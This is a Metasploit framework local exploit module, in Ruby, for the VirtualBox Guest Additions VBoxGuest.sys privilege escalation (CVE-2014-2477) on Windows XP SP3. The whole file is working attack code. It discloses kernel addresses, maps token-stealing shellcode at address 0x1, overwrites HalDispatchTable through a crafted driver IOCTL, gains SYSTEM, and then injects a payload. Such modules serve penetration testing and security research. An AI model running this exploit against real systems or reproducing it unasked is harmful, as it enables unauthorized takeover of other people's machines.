##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/windows_kernel'
class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation',
      'Description'    => %q{
        A vulnerability within the VBoxGuest driver allows an attacker to inject memory they
        control into an arbitrary location they define. This can be used by an attacker to
        overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
        NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest
        Additions up to 4.3.10r93012.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
          'Jay Smith <jsmith[at]korelogic.com>' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          ['Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba,
              '_KPROCESS'  => "\x44",
              '_TOKEN'     => "\xc8",
              '_UPID'      => "\x84",
              '_APLINKS'   => "\x88"
            }
          ]
        ],
      'References'    =>
        [
          ['CVE', '2014-2477'],
          ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
        ],
      'DisclosureDate'=> 'Jul 15 2014',
      'DefaultTarget' => 0
    }))

  end

  def fill_memory(proc, address, length, content)

    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

    if not proc.memory.writable?(address)
      vprint_error("Failed to allocate memory")
      return nil
    else
      vprint_good("#{address} is now writable")
    end

    result = proc.memory.write(address, content)

    if result.nil?
      vprint_error("Failed to write contents to memory")
      return nil
    else
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end

    return address
  end

  def check
    if sysinfo["Architecture"] == ARCH_X64
      return Exploit::CheckCode::Safe
    end

    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)

    os = sysinfo["OS"]
    unless (os =~ /windows xp.*service pack 3/i)
      return Exploit::CheckCode::Safe
    end

    file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys"
    unless file?(file_path)
      return Exploit::CheckCode::Unknown
    end

    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    unless (major == 4)
      return Exploit::CheckCode::Safe
    end

    case minor
    when 0
      return Exploit::CheckCode::Appears if build < 26
    when 1
      return Exploit::CheckCode::Appears if build < 34
    when 2
      return Exploit::CheckCode::Appears if build < 26
    when 3
      return Exploit::CheckCode::Appears if build < 12
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "Exploit not available on this system")
    end

    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
    end

    print_status("Disclosing the HalDispatchTable address...")
    hal_dispatch_table = find_haldispatchtable
    if hal_dispatch_table.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable")
    else
      print_good("Address successfully disclosed.")
    end

    print_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?

    hal_base = hal_info[0]
    print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
    hali_query_system_information = hal_base + target['HaliQuerySystemInfo']

    print_status("Storing the shellcode in memory...")
    this_proc = session.sys.process.open

    restore_ptrs =  "\x31\xc0"                                         # xor eax, eax
    restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V')        # mov dword ptr [nt!HalDispatchTable+0x4], eax

    kernel_shell = token_stealing_shellcode(target)
    kernel_shell_address = 0x1

    buf = "\x90" * 0x6000
    buf[0, 56] = "\x50\x00\x00\x00" * 14
    buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell

    result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    else
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end

    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0)
    session.railgun.kernel32.CloseHandle(handle)

    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    session.railgun.ntdll.NtQueryIntervalProfile(2, 4)

    print_status("Checking privileges after exploitation...")

    unless is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    else
      print_good("Exploitation successful!")
    end

    p = payload.encoded
    print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
    if execute_shellcode(p)
      print_good("Enjoy")
    else
      fail_with(Failure::Unknown, "Error while executing the payload")
    end

  end

end

